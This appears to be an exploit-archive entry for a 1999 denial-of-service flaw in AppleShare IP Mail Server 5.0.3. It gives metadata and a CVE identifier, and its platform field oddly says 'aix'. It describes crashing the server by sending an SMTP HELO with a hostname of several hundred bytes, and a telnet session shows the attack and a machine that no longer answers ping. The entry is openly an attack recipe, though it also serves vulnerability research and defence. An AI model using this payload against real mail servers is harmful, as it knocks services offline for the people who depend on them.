AppleShare IP Mail Server 5.0.3 - Buffer Overflow

Author: Chris Wedgwood
type: dos
platform: aix
port: nan
date_added: 1999-10-15 
date_updated: 2014-01-02 
verified: 1 
codes: CVE-1999-1015;OSVDB-5970 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/61/info

There exists a buffer overflow in the Apple AppleShare IP Mail Server 5.0.3. If yu connect to the SMTP port
and issue a HELO command with a large string (500 bytes or more) for a hostname the server, and possibly the whole machine, will crash.

$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]

$ ping some.where
[ ...nothing... ]